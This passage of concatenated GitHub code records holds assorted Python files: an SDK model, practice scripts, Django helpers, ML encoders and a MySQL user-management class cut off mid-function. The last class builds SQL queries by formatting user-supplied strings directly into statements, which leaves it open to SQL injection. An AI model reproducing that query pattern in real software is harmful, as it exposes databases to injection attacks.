Optional[UserExperienceAnalyticsCategory] = None\n # The scores and insights for the battery health metrics.\n battery_health_metrics: Optional[UserExperienceAnalyticsCategory] = None\n # The scores and insights for the best practices metrics.\n best_practices_metrics: Optional[UserExperienceAnalyticsCategory] = None\n # The date the custom baseline was created. The value cannot be modified and is automatically populated when the baseline is created. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: '2014-01-01T00:00:00Z'. Returned by default.\n created_date_time: Optional[datetime.datetime] = None\n # The scores and insights for the device boot performance metrics.\n device_boot_performance_metrics: Optional[UserExperienceAnalyticsCategory] = None\n # The name of the baseline.\n display_name: Optional[str] = None\n # When TRUE, indicates the current baseline is the commercial median baseline. When FALSE, indicates it is a custom baseline. FALSE by default.\n is_built_in: Optional[bool] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # The scores and insights for the reboot analytics metrics.\n reboot_analytics_metrics: Optional[UserExperienceAnalyticsCategory] = None\n # The scores and insights for the resource performance metrics.\n resource_performance_metrics: Optional[UserExperienceAnalyticsCategory] = None\n # The scores and insights for the work from anywhere metrics.\n work_from_anywhere_metrics: Optional[UserExperienceAnalyticsCategory] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> UserExperienceAnalyticsBaseline:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: UserExperienceAnalyticsBaseline\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return UserExperienceAnalyticsBaseline()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .entity import Entity\n from .user_experience_analytics_category import UserExperienceAnalyticsCategory\n\n from .entity import Entity\n from .user_experience_analytics_category import UserExperienceAnalyticsCategory\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"appHealthMetrics\": lambda n : setattr(self, 'app_health_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n \"batteryHealthMetrics\": lambda n : setattr(self, 'battery_health_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n \"bestPracticesMetrics\": lambda n : setattr(self, 'best_practices_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n \"createdDateTime\": lambda n : setattr(self, 'created_date_time', n.get_datetime_value()),\n \"deviceBootPerformanceMetrics\": lambda n : setattr(self, 'device_boot_performance_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n \"displayName\": lambda n : setattr(self, 'display_name', n.get_str_value()),\n \"isBuiltIn\": lambda n : setattr(self, 'is_built_in', n.get_bool_value()),\n \"rebootAnalyticsMetrics\": lambda n : setattr(self, 'reboot_analytics_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n \"resourcePerformanceMetrics\": lambda n : setattr(self, 'resource_performance_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n \"workFromAnywhereMetrics\": lambda n : setattr(self, 'work_from_anywhere_metrics', n.get_object_value(UserExperienceAnalyticsCategory)),\n }\n super_fields = super().get_field_deserializers()\n fields.update(super_fields)\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n super().serialize(writer)\n writer.write_object_value(\"appHealthMetrics\", self.app_health_metrics)\n writer.write_object_value(\"batteryHealthMetrics\", self.battery_health_metrics)\n writer.write_object_value(\"bestPracticesMetrics\", self.best_practices_metrics)\n writer.write_datetime_value(\"createdDateTime\", self.created_date_time)\n writer.write_object_value(\"deviceBootPerformanceMetrics\", self.device_boot_performance_metrics)\n writer.write_str_value(\"displayName\", self.display_name)\n writer.write_bool_value(\"isBuiltIn\", self.is_built_in)\n writer.write_object_value(\"rebootAnalyticsMetrics\", self.reboot_analytics_metrics)\n writer.write_object_value(\"resourcePerformanceMetrics\", self.resource_performance_metrics)\n writer.write_object_value(\"workFromAnywhereMetrics\", self.work_from_anywhere_metrics)\n \n\n","repo_name":"microsoftgraph/msgraph-sdk-python","sub_path":"msgraph/generated/models/user_experience_analytics_baseline.py","file_name":"user_experience_analytics_baseline.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"37"} +{"seq_id":"28875700911","text":"a = [[17,29], [32,41]]\r\nnew_list = [x for b in a for x in b] # Nested List\r\nprint('Nested List: ' + str(new_list))\r\n\r\nodds = [x for x in range(10) if x%2 == 1] # Odd Numbers\r\nprint('Odd Numbers: ' + str(odds))\r\n\r\nten_x = [x * 10 for x in range(10)] # Multiples of 10\r\nprint(\"Multiles of 10: \" + str(ten_x))\r\n\r\nunder_10 = [x for x in range(10)] # Values within Range\r\nprint(\"Values witin Range: \" + str(under_10))\r\n\r\nsquare = [x ** 2 for x in under_10] # Squares\r\nprint('Squares: ' + str(square))\r\n\r\nk = 'Kulwant Singh Saggu'\r\nc = 'Start : End : Step'\r\nprint(k + \" || \" + c + \" || \" + k[3::2])\r\n\r\n\r\ncount = 0\r\nwhile (count < 3): \r\n count = count + 1\r\n print(\"KS\") ","repo_name":"kulwants/Python-Practice","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40946357840","text":"import pygame\nimport random\n\n\nclass Player:\n def __init__(self):\n self.img_raw = pygame.image.load('img/player.png').convert_alpha()\n self.img = pygame.transform.scale(self.img_raw, (100, 100))\n self.last_known = None\n self.x = 100\n self.y = 100\n self.rect = pygame.Rect(self.x, self.y, 100, 100)\n self.wood = 100\n self.food = 100\n self.in_house = False\n\n def update_rect(self):\n self.rect = pygame.Rect(self.x, self.y, 100, 100)\n\n def draw(self, s):\n self.update_rect()\n s.blit(self.img, (self.x, self.y))\n","repo_name":"VeinyAngus/AdventureGame","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69991306348","text":"\nclass Contact:\n\n def __init__(self, first_name, second_name, phone_number=str, is_favourite='нет', **Extra_info):\n self.first_name = first_name\n self.second_name = second_name\n self.phone_number = phone_number\n self.is_favourite = is_favourite\n self.Extra_info = Extra_info\n\n def add_to_favourite(self):\n self.is_favourite = 'да'\n\n def delete_from_favourite(self):\n self.is_favourite = 'нет'\n\n def __str__(self):\n return f'Имя: {self.first_name}\\n' \\\n f'Фамилия: {self.second_name}\\n' \\\n f'Телефон: {self.phone_number}\\n' \\\n f'В избранных: {self.is_favourite}\\n' \\\n f'Дополнительная информация: \\n\\t' \\\n f'e-mail: {self.Extra_info[\"email\"]}\\n\\t' \\\n f'telegram: {self.Extra_info[\"telegram\"]}\\n\\t' \\\n f'facebook: {self.Extra_info[\"facebook\"]}'\n\nVasyan = Contact(\n 'Vasyan',\n 'Chetvertiy',\n '+7565354687323',\n email='asdasd@dsasdfasdf.er',\n telegram='@nekiy',\n facebook='www.facebook.com/whatever'\n)\nPetka = Contact(\n 'Пятый',\n 'Петька',\n '+7555555555',\n email='555@fifth.com',\n telegram='@555',\n facebook='www.facebook.com/fivestar'\n)\nVasyan.add_to_favourite()\n# print(Vasyan)\n# print(Petka)\n\nclass PhoneBook:\n\n def __init__(self, name):\n self.name = name\n self.contacts_list = []\n\n def show_contacts(self):\n for item in self.contacts_list:\n print(item)\n\n def add_new_contact(self, Contact):\n self.contacts_list.append(Contact)\n\n def show_favourites(self):\n for item in self.contacts_list:\n if item.is_favourite == 'да':\n print(item.phone_number)\n\n def find_contact(self, first_name, second_name):\n for item in self.contacts_list:\n if item.first_name == first_name and item.second_name == second_name:\n print(item.phone_number)\n\n def delete_conatact(self, phone_number):\n for item in self.contacts_list:\n if item.phone_number == phone_number:\n self.contacts_list.remove(item)\n\nmytopcontacts = PhoneBook('Моя телефонная книга')\nmytopcontacts.add_new_contact(Petka)\nmytopcontacts.add_new_contact(Vasyan)\nprint()\nprint('Here are all contacts:')\nmytopcontacts.show_contacts()\nprint()\nprint('Here are favs:')\nmytopcontacts.show_favourites()\nprint()\nprint('Here is finder:')\nmytopcontacts.find_contact('Пятый', 'Петька')\nprint()\nprint('Deleter worked. Now it is only one left:')\nmytopcontacts.delete_conatact('+7555555555')\nmytopcontacts.show_contacts()\n","repo_name":"Andrey-Yakovtsev/PhoneBook","sub_path":"PhoneBook.py","file_name":"PhoneBook.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6295693115","text":"from django.apps import apps as global_apps\nfrom django.db import DEFAULT_DB_ALIAS, IntegrityError, migrations, router, transaction\n\n\nclass RenameContentType(migrations.RunPython):\n def __init__(self, app_label, old_model, new_model):\n self.app_label = app_label\n self.old_model = old_model\n self.new_model = new_model\n super().__init__(self.rename_forward, self.rename_backward)\n\n def _rename(self, apps, schema_editor, old_model, new_model):\n ContentType = apps.get_model(\"contenttypes\", \"ContentType\")\n db = schema_editor.connection.alias\n if not router.allow_migrate_model(db, ContentType):\n return\n\n try:\n content_type = ContentType.objects.db_manager(db).get_by_natural_key(\n self.app_label, old_model\n )\n except ContentType.DoesNotExist:\n pass\n else:\n content_type.model = new_model\n try:\n with transaction.atomic(using=db):\n content_type.save(using=db, update_fields={\"model\"})\n except IntegrityError:\n # Gracefully fallback if a stale content type causes a\n # conflict as remove_stale_contenttypes will take care of\n # asking the user what should be done next.\n content_type.model = old_model\n else:\n # Clear the cache as the `get_by_natural_key()` call will cache\n # the renamed ContentType instance by its old model name.\n ContentType.objects.clear_cache()\n\n def rename_forward(self, apps, schema_editor):\n self._rename(apps, schema_editor, self.old_model, self.new_model)\n\n def rename_backward(self, apps, schema_editor):\n self._rename(apps, schema_editor, self.new_model, self.old_model)\n\n\ndef inject_rename_contenttypes_operations(\n plan=None, apps=global_apps, using=DEFAULT_DB_ALIAS, **kwargs\n):\n \"\"\"\n Insert a `RenameContentType` operation after every planned `RenameModel`\n operation.\n \"\"\"\n if plan is None:\n return\n\n # Determine whether or not the ContentType model is available.\n try:\n ContentType = apps.get_model(\"contenttypes\", \"ContentType\")\n except LookupError:\n available = False\n else:\n if not router.allow_migrate_model(using, ContentType):\n return\n available = True\n\n for migration, backward in plan:\n if (migration.app_label, migration.name) == (\"contenttypes\", \"0001_initial\"):\n # There's no point in going forward if the initial contenttypes\n # migration is unapplied as the ContentType model will be\n # unavailable from this point.\n if backward:\n break\n else:\n available = True\n continue\n # The ContentType model is not available yet.\n if not available:\n continue\n inserts = []\n for index, operation in enumerate(migration.operations):\n if isinstance(operation, migrations.RenameModel):\n operation = RenameContentType(\n migration.app_label,\n operation.old_name_lower,\n operation.new_name_lower,\n )\n inserts.append((index + 1, operation))\n for inserted, (index, operation) in enumerate(inserts):\n migration.operations.insert(inserted + index, operation)\n\n\ndef get_contenttypes_and_models(app_config, using, ContentType):\n if not router.allow_migrate_model(using, ContentType):\n return None, None\n\n ContentType.objects.clear_cache()\n\n content_types = {\n ct.model: ct\n for ct in ContentType.objects.using(using).filter(app_label=app_config.label)\n }\n app_models = {model._meta.model_name: model for model in app_config.get_models()}\n return content_types, app_models\n\n\ndef create_contenttypes(\n app_config,\n verbosity=2,\n interactive=True,\n using=DEFAULT_DB_ALIAS,\n apps=global_apps,\n **kwargs,\n):\n \"\"\"\n Create content types for models in the given app.\n \"\"\"\n if not app_config.models_module:\n return\n\n app_label = app_config.label\n try:\n app_config = apps.get_app_config(app_label)\n ContentType = apps.get_model(\"contenttypes\", \"ContentType\")\n except LookupError:\n return\n\n content_types, app_models = get_contenttypes_and_models(\n app_config, using, ContentType\n )\n\n if not app_models:\n return\n\n cts = [\n ContentType(\n app_label=app_label,\n model=model_name,\n )\n for (model_name, model) in app_models.items()\n if model_name not in content_types\n ]\n ContentType.objects.using(using).bulk_create(cts)\n if verbosity >= 2:\n for ct in cts:\n print(\"Adding content type '%s | %s'\" % (ct.app_label, ct.model))\n","repo_name":"django/django","sub_path":"django/contrib/contenttypes/management/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"72547500588","text":"#disputa de penaltis\r\n\r\n#mais gols or não tem mais como virar\r\n#contagem de gols de uma disputa de penaltis\r\n#definir qual seleção passa\r\n#admite empate 5x5\r\n\r\n#inputs:\r\n\r\n#nomes das seleções\r\n#nome1\r\n#nome2\r\n\r\n#pelo menos 10 entradas de penaltis\r\n#4 possibilidades: gol, errou, na trava e defendeu\r\n#apenas a entrada 'gol' conta como gol\r\n\r\n#entrada impar - nome1\r\n#entrada par - nome 2\r\n\r\n#penalti = input()\r\n\r\n#gols_vencedor\r\n#gols_perdedor\r\n#numero_de_gols\r\n#output\r\n\r\n#2 possibilidades de saída\r\n#com vencedor:\r\n# print(f'{vencedor} vence a disputa de pênaltis por {gols_vencedor} a {gols_perdedor} e avança de fase')\r\n\r\n#empate:\r\n#print(f'Ambas as seleções terminaram com {numero_de_gols} gols, mas o desempate vai ficar para outro dia.')\r\n\r\n#inputs\r\nnome1 = input()\r\nnome2 = input()\r\npenalti1 = input()\r\npenalti2 = input()\r\npenalti3 = input()\r\npenalti4 = input()\r\npenalti5 = input()\r\npenalti6 = input()\r\ntotal1 = int()\r\ntotal2 = int()\r\n\r\n\r\n#calculo\r\nif penalti1 == 'Gol':\r\n total1 += 1\r\nif penalti2 == 'Gol':\r\n total2 += 1\r\nif penalti3 == 'Gol':\r\n total1 += 1\r\nif penalti4 == 'Gol' :\r\n total2 += 1\r\nif penalti5 == 'Gol': \r\n total1 += 1\r\n\r\n# a partir do penalti 6:\r\n\r\nif penalti6 == 'Gol':\r\n total2 += 1\r\n\r\nif abs(total1 - total2) == 3:\r\n if total2 > total1:\r\n print(f'{nome2} vence a disputa de pênaltis por {total2} a {total1} e avança de fase!')\r\n else:\r\n print(f'{nome1} vence a disputa de pênaltis por {total1} a {total2} e avança de fase!')\r\nelse:\r\n penalti7 = input()\r\n if (penalti7 == 'Gol'):\r\n total1 += 1\r\n if (total1 == 4 and total2 == 1) or (total1 == 1 and total2 == 3): \r\n if total1 > total2:\r\n print(f'{nome1} vence a disputa de pênaltis por {total1} a {total2} e avança de fase!')\r\n else:\r\n print(f'{nome2} vence a disputa de pênaltis por {total2} a {total1} e avança de fase!')\r\n else:\r\n penalti8 = input()\r\n if penalti8 == 'Gol':\r\n total2 += 1\r\n if (total1 == 3 and total2 == 1) or (total1 == 2 and total2 == 4):\r\n if total2 > total1:\r\n print(f'{nome2} vence a disputa de pênaltis por {total2} a {total1} e avança de fase!')\r\n else:\r\n print(f'{nome1} vence a disputa de pênaltis por {total1} a {total2} e avança de fase!')\r\n else:\r\n penalti9 = input()\r\n if penalti9 == 'Gol':\r\n total1 += 1\r\n if (total1 == 4 and total2 == 2) or (total1 == 2 and total2 == 3):\r\n if total2 > total1:\r\n print(f'{nome2} vence a disputa de pênaltis por {total2} a {total1} e avança de fase!')\r\n else:\r\n print(f'{nome1} vence a disputa de pênaltis por {total1} a {total2} e avança de fase!')\r\n else:\r\n penalti10 = input()\r\n if penalti10 == 'Gol':\r\n total2 += 1\r\n if total2 > total1:\r\n print(f'{nome2} vence a disputa de pênaltis por {total2} a {total1} e avança de fase!')\r\n elif total1 > total2:\r\n print(f'{nome1} vence a disputa de pênaltis por {total1} a {total2} e avança de fase!')\r\n else:\r\n print(f'Ambas as seleções terminaram com {total2} gols, mas o desempate vai ficar para outro dia.')\r\n","repo_name":"gabrielrochass/Python-Questions","sub_path":"python/List1_conditionals/question5.py","file_name":"question5.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14984869246","text":"import numpy as np\nfrom collections import OrderedDict\nfrom sklearn.preprocessing import normalize\n\nfrom .constants import *\nfrom .utils.OneHotEncoder import OneHotEncoder\nfrom .utils.aaindex import get_aaindex\n\naa_encoder = OneHotEncoder(categories=AMINO_ACIDS)\n\n\ndef aa_seq_to_one_hot(sequence):\n return aa_encoder.transform(sequence)\n\n\nannotation_4state_encoder = OneHotEncoder(categories=ANNOTATION_4STATE_CHARS)\n\n\ndef annotation_4state_to_one_hot(annotation):\n return annotation_4state_encoder.transform(annotation)\n\n\nannotation_6state_encoder = OneHotEncoder(categories=ANNOTATION_6STATE_CHARS)\n\n\ndef annotation_6state_to_one_hot(annotation):\n return annotation_6state_encoder.transform(annotation)\n\n\nannotation_9state_encoder = OneHotEncoder(categories=ANNOTATION_9STATE_CHARS)\n\n\ndef annotation_9state_to_one_hot(annotation):\n return annotation_9state_encoder.transform(annotation)\n\n\nsp_type_encoder = OneHotEncoder(categories=ANNOTATION_4STATE_LABELS)\n\n\ndef sp_type_to_one_hot(sp_type):\n return sp_type_encoder.transform(sp_type)\n\n\nkingdom_encoder = OneHotEncoder(categories=KINGDOMS)\n\n\ndef kingdom_to_one_hot(kingdom):\n return kingdom_encoder.transform(kingdom)\n\n\ndef reduce_no_sp_annotations(annotation):\n for char in ANNOTATION_NO_SP_CHARS:\n annotation = annotation.replace(char, NON_SP_ANNOTATION_SUB)\n\n return annotation\n\n\ndef expand_annotation_to_9state(annotation):\n last_char = ''\n transformed = ''\n\n for char in annotation:\n transformed_char = ''\n\n if char == 'M':\n if last_char == 'I':\n transformed_char = 'M'\n elif last_char == 'O':\n transformed_char = 'N'\n elif last_char == 'M':\n transformed_char = 'M'\n elif last_char == 'N':\n transformed_char = 'N'\n elif char == 'O':\n if last_char == 'S':\n transformed_char = 'C'\n elif last_char == 'L':\n transformed_char = 'D'\n else:\n transformed_char = char\n else:\n transformed_char = char\n\n last_char = transformed_char\n transformed += transformed_char\n\n return transformed\n\n\ndef normalize_matrix(matrix):\n norm = np.linalg.norm(matrix)\n return matrix/norm\n\n\nNORMALIZED_BLOSUM62 = normalize_matrix(BLOSUM62)\n\n\ndef blosum62_encode(one_hot_seq):\n return np.matmul(one_hot_seq, NORMALIZED_BLOSUM62)\n\n\nclass FeatureEncoder:\n def __init__(self, aaindex_ids):\n self.aaindex = get_aaindex(aaindex_ids)\n\n self.aaindex = {\n id: OrderedDict(\n sorted(aamap.items(), key=lambda i: AMINO_ACIDS.index(i[0])))\n for id, aamap in self.aaindex.items()\n }\n\n self.aaindex = OrderedDict(sorted(self.aaindex.items()))\n\n self.aaindex = np.transpose(normalize([\n list(row.values())\n for _, row in self.aaindex.items()\n ]))\n\n def transform(self, one_hot_seq):\n return np.matmul(one_hot_seq, self.aaindex)\n\ndef get_label_indices(labels, include_labels):\n sp_indices = [labels.index(l) for l in include_labels]\n\n return sp_indices\n\ndef get_label_diff_indices(labels, exclude_labels):\n diff_labels = [l for l in labels if l not in exclude_labels]\n\n return get_label_indices(labels, diff_labels)\n\ndef get_label_index_map(from_labels, to_labels, label_map):\n index_map = {}\n\n for i, l in enumerate(from_labels):\n to_index = to_labels.index(label_map[l])\n index_map[i] = to_index\n \n return index_map\n\n","repo_name":"pbl2021-signal-peptides/pbl21-signal-peptides","sub_path":"multimodal_dnn/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25644881949","text":"import sys\n\n\ndef main():\n\n totaldebtors = 0.0\n totalcreditors = 0.0\n\n for amount in sys.stdin:\n\n if(int(amount) > 0):\n\n totaldebtors += int(amount)\n\n else:\n\n totalcreditors += int(amount)\n\n print(\"Debtors: {:.2f}\".format(totaldebtors))\n print(\"Creditors: {:.2f}\".format(totalcreditors))\n\n print(\"totals created\", file=sys.stderr)\n\n\nmain()\n","repo_name":"CodeDrome/redirection-piping-python","sub_path":"calculatetotals.py","file_name":"calculatetotals.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27105414663","text":"# Write a program that takes a list of strings as input and returns a list with all strings that have a length greater than 5 characters.\n\nentered_list = input(\"Enter a list of strings by spaces: \").split()\nprint(entered_list)\n\nmax_len = 5\nnew_list = []\nfor element in entered_list:\n if len(element) > max_len:\n new_list.append(element)\nprint(f\"Strings that have a length greater than 5 characters are {new_list}\")\n\n","repo_name":"MikitaTsiarentsyeu/Md-PT1-61-23","sub_path":"Tasks/Adamovich/Task 3/Task_3.5.py","file_name":"Task_3.5.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73588189547","text":"from songsapp.api.api import SongViewSet, GenreViewSet, ArtistViewSet, SongGenresViewSet\nfrom rest_framework import routers\nfrom django.urls import path\n\nrouter = routers.SimpleRouter()\nrouter.register(r'songs', SongViewSet)\nrouter.register(r'genres', GenreViewSet)\nrouter.register(r'artists', ArtistViewSet)\n\nurlpatterns = router.urls\n\nurlpatterns += [\n path('songs//genres/',\n SongGenresViewSet.as_view({\n 'get': 'list',\n 'post': 'create',\n 'patch': 'modify'\n })),\n path('songs//genres/',\n SongGenresViewSet.as_view({\n 'get': 'retrieve',\n 'put': 'update',\n 'delete': 'destroy'\n }))\n]","repo_name":"amr205/Microservices-Course","sub_path":"songs_service/songsapp/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24329178641","text":"class Node:\n def __init__(self, data=None, next=None):\n self.data = data\n self.next = next\n\n def __repr__(self):\n return repr(self.data)\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def append(self, data):\n cur = self.head\n new_node = Node(data)\n if cur is None:\n self.head = new_node\n return\n\n while cur.next:\n cur = cur.next\n cur.next = new_node\n\n def __repr__(self):\n nodes = []\n cur = self.head\n while cur:\n nodes.append(repr(cur.data))\n cur = cur.next\n\n return '[' + ','.join(nodes) + ']'\n\n def reverse(self):\n prev = None\n cur = self.head\n while cur:\n next_node = cur.next\n cur.next = prev\n prev = cur\n cur = next_node\n\n self.head = prev\n\n\n\nif __name__ == \"__main__\":\n ll = LinkedList()\n ll.append(1)\n ll.append(2)\n ll.append(3)\n ll.append(4)\n ll.append(5)\n print(ll)\n ll.reverse()\n print(ll)\n","repo_name":"prasilla487/Python_excersizes_DSA","sub_path":"linkedlist/reverse_ll.py","file_name":"reverse_ll.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21577588501","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nf = open(\"report.2010-11-23_1541CET_tram_ljabru_to_jernbanetorget.txt\", 'r') # 456\n\ntimestamp = []\nthroughput = []\n\nwhile True:\n line = f.readline()\n if not line: break\n s = int(line.split()[1])/1000 # msec to sec\n timestamp.append(s)\n elapsed_s = float(line.split()[5])/1000 # msec to sec\n mb = float(line.split()[4]) / 1000000 # byte to Mbyte\n c = mb / elapsed_s # Mbps\n throughput.append(c)\n\n # print(timestamp, \", \", throughput)\n \nplt.plot(timestamp,throughput)\nplt.xlabel('timestamp (s)')\nplt.ylabel('throughput (Mbps)')\nplt.show()\nf.close()\n\n# df = pd.read_csv(\"./training.csv\", sep=',')\n# print(df.head())\n","repo_name":"hangyeolhong/HSDPA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72000936748","text":"from pathlib import Path, PurePath\nfrom typing import Callable, Generic, Optional, TypeVar, Union\n\nimport torch\n\n_T = TypeVar('_T')\n\n\nclass TensorStorage(Generic[_T]):\n def __init__(self,\n path: Union[str, PurePath],\n tensor_getter: Callable[[], _T],) -> None:\n self.path = Path(path)\n self.get_tensor = tensor_getter\n\n def _save(self, tensor: _T):\n torch.save(tensor, self.path)\n\n def _load(self, device: Optional[str] = None) -> Optional[_T]:\n if self.path.exists():\n tensor: _T = torch.load(str(self.path), map_location=device)\n return tensor\n return None\n\n def get(self, device: Optional[str] = None):\n tensor = self._load(device)\n if tensor is None:\n tensor = self.get_tensor()\n self._save(tensor)\n return tensor\n","repo_name":"Jackey9797/AE","sub_path":"icarl_std/util/tensor.py","file_name":"tensor.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1731448910","text":"import mysql.connector\nimport copy\nfrom util.env import *\n\nenv = get_env()\nif str(env['password']) != 'None':\n config = {\n 'user': str(env['user']),\n 'password': str(env['password']),\n 'host': '127.0.0.1',\n 'database': str(env['database']),\n 'raise_on_warnings': False,\n }\nelse:\n config = {\n 'user': str(env['user']),\n 'host': '127.0.0.1',\n 'database': str(env['database']),\n 'raise_on_warnings': False,\n }\n\n\nclass ippDB():\n def __init__(self):\n self.config = config\n self.cnx = mysql.connector.connect(**self.config)\n self.cursor = self.cnx.cursor(dictionary=True)\n\n def __del__(self):\n self.cursor.close()\n self.cnx.close()\n\n\nclass dbFunction(ippDB):\n def __init(self):\n ippDB.__init__(self)\n\n def dataQuery(self, qry):\n k = 0\n self.cursor.execute(qry)\n t = []\n for i in self.cursor:\n t.append(i)\n return t\n\n def dataUpdate(self, insrt):\n self.cursor.execute(insrt)\n self.cnx.commit()\n\n\nclass userDB(dbFunction):\n def __init__(self, uid):\n dbFunction.__init__(self)\n self.uid = int(uid)\n res = self.dataQuery((\"SELECT u_name, group_id FROM users WHERE id=%d\" % self.uid))\n if res:\n self.group_id = int(res[0]['group_id'])\n self.u_name = res[0]['u_name']\n else:\n self.u_name = ''\n\n def isolateUser(self):\n return self.dataQuery((\"SELECT * FROM users WHERE pid=0 AND role='stu'\"))\n\n def validUser(self):\n if self.u_name:\n return True\n return False\n\n def query(self):\n return self.dataQuery((\"SELECT * FROM users WHERE id = %d\" % self.uid))[0]\n\n def newUser(self, u_name, role, pwd, phone, major, sex):\n self.u_name = u_name\n self.group_id = 0\n op = (\"INSERT INTO users VALUES ('%d', '%s', '%s', %d, '%s', '%s', 'n', 0, 0, 0, 0, 0)\" % (\n self.uid, u_name, role, int(phone), major, sex))\n self.dataUpdate(op)\n\n def deleteUser(self):\n op = (\"DELETE FROM users WHERE id=%d\" % self.uid)\n self.dataUpdate(op)\n\n def assign(self, pid):\n op = (\"UPDATE users SET pid='%s' WHERE id=%d\" % (pid, self.uid))\n self.dataUpdate(op)\n\n def unassign(self, pid):\n op = (\"UPDATE users SET pid = 0 WHERE pid=%d\" % pid)\n self.dataUpdate(op)\n\n def allStudents(self):\n return self.dataQuery((\"SELECT id, u_name, grouped, group_id FROM users WHERE role = 'stu'\"))\n\n def freeStudents(self):\n return self.dataQuery((\"SELECT * FROM users WHERE role = 'stu'\"))\n\n def isLeader(self):\n res = self.dataQuery((\"SELECT grouped FROM users WHERE id=%d\" % self.uid))\n return res[0]['grouped'] == \"l\"\n\n def isGrouped(self):\n res = self.dataQuery((\"SELECT grouped FROM users WHERE id=%d\" % self.uid))\n return res[0]['grouped'] == 'n'\n\n def groupStat(self):\n res = self.dataQuery((\"SELECT grouped FROM users WHERE id=%d\" % self.uid))\n return res[0]['grouped']\n\n def registerProject(self, order, pid, group_id=0):\n if group_id == 0:\n op = (\"UPDATE users SET wish%d='%d' WHERE id=%d\" % (order, pid, self.uid))\n else:\n op = (\"UPDATE users SET wish%d='%d' WHERE group_id=%d\" % (order, pid, group_id))\n self.dataUpdate(op)\n\n def quitProject(self, pid, group_id=0):\n for i in range(3):\n if group_id == 0:\n op = (\"UPDATE users SET wish%d=0 WHERE wish%d=%d AND id=%d\" % (i, i, pid, self.uid))\n else:\n op = (\"UPDATE users SET wish%d=0 WHERE wish%d=%d AND group_id=%d\" % (i, i, pid, group_id))\n self.dataUpdate(op)\n\n def joinGroup(self, group_id):\n leader = self.dataQuery((\"SELECT * FROM users WHERE grouped='l' AND group_id=%d\" % group_id))[0]\n count = self.dataQuery((\"SELECT count(id) FROM users WHERE group_id=%d\" % group_id))[0]['count(id)']\n if count < 4:\n op = (\"UPDATE users SET grouped='y', group_id=%d, wish0='%s', wish1='%s', wish2='%s' WHERE id=%d\" %\n (group_id, leader['wish0'], leader['wish1'], leader['wish2'], self.uid))\n self.dataUpdate(op)\n # qry = self.dataQuery((\"SELECT users, user_id FROM groups WHERE id=%d\" % id))[0]\n # if qry['users']:\n # users = qry['users'].split(',')\n # ids = qry['user_id'].split(',')\n # ids.append(str(self.uid))\n # users.append(self.u_name)\n # else:\n # ids = [str(self.uid)]\n # users = [self.u_name]\n # ids = ','.join(ids)\n # users = ','.join(users)\n # op = (\"UPDATE groups SET users='%s', user_id='%s' WHERE id=%d\" % (users, ids, id))\n # self.dataUpdate(op)\n # op = (\"UPDATE users SET group_id=%d, grouped='y' WHERE id=%d\" % (id, self.uid))\n # self.dataUpdate(op)\n # leader = self.dataQuery(\"SELECT leader_id FROM groups WHERE id=%d\" % id)[0]['leader_id']\n # res = self.dataQuery(\"SELECT registed FROM users WHERE id=%d\" % leader)[0]['registed']\n # self.register(res)\n\n def quitGroup(self):\n if self.group_id > 0:\n print(self.group_id)\n if self.isLeader():\n op = (\"UPDATE users SET grouped='n', group_id=0 WHERE group_id=%d\" % self.group_id)\n self.dataUpdate(op)\n groupDB(self.group_id).delete()\n else:\n 